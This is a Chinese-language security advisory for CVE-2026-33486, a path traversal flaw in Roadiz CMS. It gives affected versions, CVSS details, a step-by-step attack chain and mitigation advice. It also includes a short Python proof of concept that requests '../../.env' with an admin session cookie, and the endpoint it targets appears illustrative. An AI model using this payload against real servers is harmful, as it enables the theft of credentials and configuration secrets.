CVE-2026-33486 CVSS 6.8 中危

CVE-2026-33486 Roadiz 任意文件读取漏洞

披露日期: 2026-03-26

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33486

漏洞类型

路径遍历

CVSS评分

6.8 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Roadiz

漏洞概述

Roadiz是一个基于节点系统的多态内容管理系统。在2.7.9、2.6.28、2.5.44和2.3.42版本之前的roadiz/documents组件中存在安全漏洞。该漏洞允许经过身份认证的攻击者读取服务器本地文件系统上的任意文件。攻击者可窃取环境变量、数据库凭证及配置文件等敏感信息。官方已在指定版本中发布补丁修复此问题。

技术细节

该漏洞属于路径遍历漏洞，主要影响Roadiz CMS的`roadiz/documents`模块。由于该模块在处理文件路径时缺乏严格的边界检查和过滤，导致拥有高权限（PR:H）的认证用户可以通过提交特制的路径参数（如包含`../`序列），突破预期的目录限制。攻击者无需复杂的网络交互（AC:L, UI:N），即可利用此漏洞遍历Web服务器进程有权限访问的整个文件系统。尽管该漏洞不直接影响数据的完整性和可用性，但获取敏感配置（如`.env`文件中的数据库密码）往往会导致更严重的数据泄露风险。受影响版本包括2.7.9、2.6.28、2.5.44及2.3.42之前的所有发行版。

攻击链分析

STEP 1

侦察

攻击者识别目标系统使用的是Roadiz CMS，并探测其具体版本号。

STEP 2

获取凭证

由于漏洞需要高权限（PR:H），攻击者通过钓鱼、暴力破解或其他方式获取一个有效的管理员或高权限用户账户。

STEP 3

漏洞利用

攻击者使用高权限账户登录，向`roadiz/documents`接口发送包含路径遍历序列（如`../`）的恶意请求，试图访问系统根目录。

STEP 4

数据窃取

成功绕过目录限制后，攻击者读取敏感文件（如`.env`、`config.php`），获取数据库密码或其他内部凭据。

STEP 5

后续渗透

利用泄露的数据库凭据连接数据库，进一步窃取业务数据或提升服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (Example)
target_url = "http://example.com/documents/view"

# Attacker's authenticated session cookie (High privileges required)
cookies = {
    "PHPSESSID": "valid_admin_session_id"
}

# Malicious payload to read environment variables
# Exploiting path traversal in the document handling component
params = {
    "path": "../../.env"
}

try:
    response = requests.get(target_url, params=params, cookies=cookies)
    if response.status_code == 200:
        print("[+] Vulnerability exploited successfully!")
        print("[+] Sensitive file content:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

Roadiz < 2.7.9

Roadiz < 2.6.28

Roadiz < 2.5.44

Roadiz < 2.3.42

防御指南

临时缓解措施

如果无法立即升级，建议严格限制后台管理系统的访问来源IP，并加强对敏感文件（如.env、配置文件）的权限控制，禁止Web服务用户读取。同时，应密切监控服务器日志，检测是否存在异常的文件访问行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表